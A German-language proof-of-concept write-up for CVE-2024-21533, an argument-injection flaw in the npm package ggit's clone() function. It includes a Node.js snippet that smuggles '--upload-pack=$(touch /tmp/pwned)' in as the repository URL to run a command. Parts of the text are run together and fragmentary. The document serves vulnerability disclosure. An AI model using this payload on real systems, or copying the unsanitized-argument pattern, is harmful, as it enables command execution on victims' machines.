
CVE-2024-21533 PoC ggit
ggit beschreibt sich selbst als:
Local promise-returning git command wrappers
Ressourcen:
Artikel über diese Argument-Injection-Schwachstelle: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
Ich melde eine Argument Injection-Schwachstelle im npm-Paket ggit.
Diese Schwachstelle tritt in der clone()-API der Bibliothek auf,
mit der die entfernte URL zum Klonen und das Zielverzeichnis auf der Festplatte angegeben werden können.
Allerdings bereinigt die Bibliothek keine Benutzereingaben oder validiert ein gegebenes URL-Schema,
noch übergibt sie korrekt Befehlszeilenflags an die git-Binärdatei unter Verwendung der doppelten
POSIX-Zeichen (--), um das Ende der Optionen zu kennzeichnen.
Dadurch können Benutzer eine Argument-Injection-Schwachstelle in Git ausnutzen, da die
Befehlszeilen-Option --upload-pack zur Ausführung beliebiger Befehle führt.
(outPath) zum Klonen und dann trifft die Schwachstelle zu.
[email protected] oder früherconst clone = require("ggit").cloneRepo;
clone({
url: "--upload-pack=$(touch /tmp/pwned)",
folder: "/tmp/dbd",
}).then(function () {
console.log("cloned repo to destination folder");
});
/tmp/pwned erstellt wurde.Bitte lesen Sie CONTRIBUTING für Richtlinien zur Mitarbeit an diesem Projekt.
Liran Tal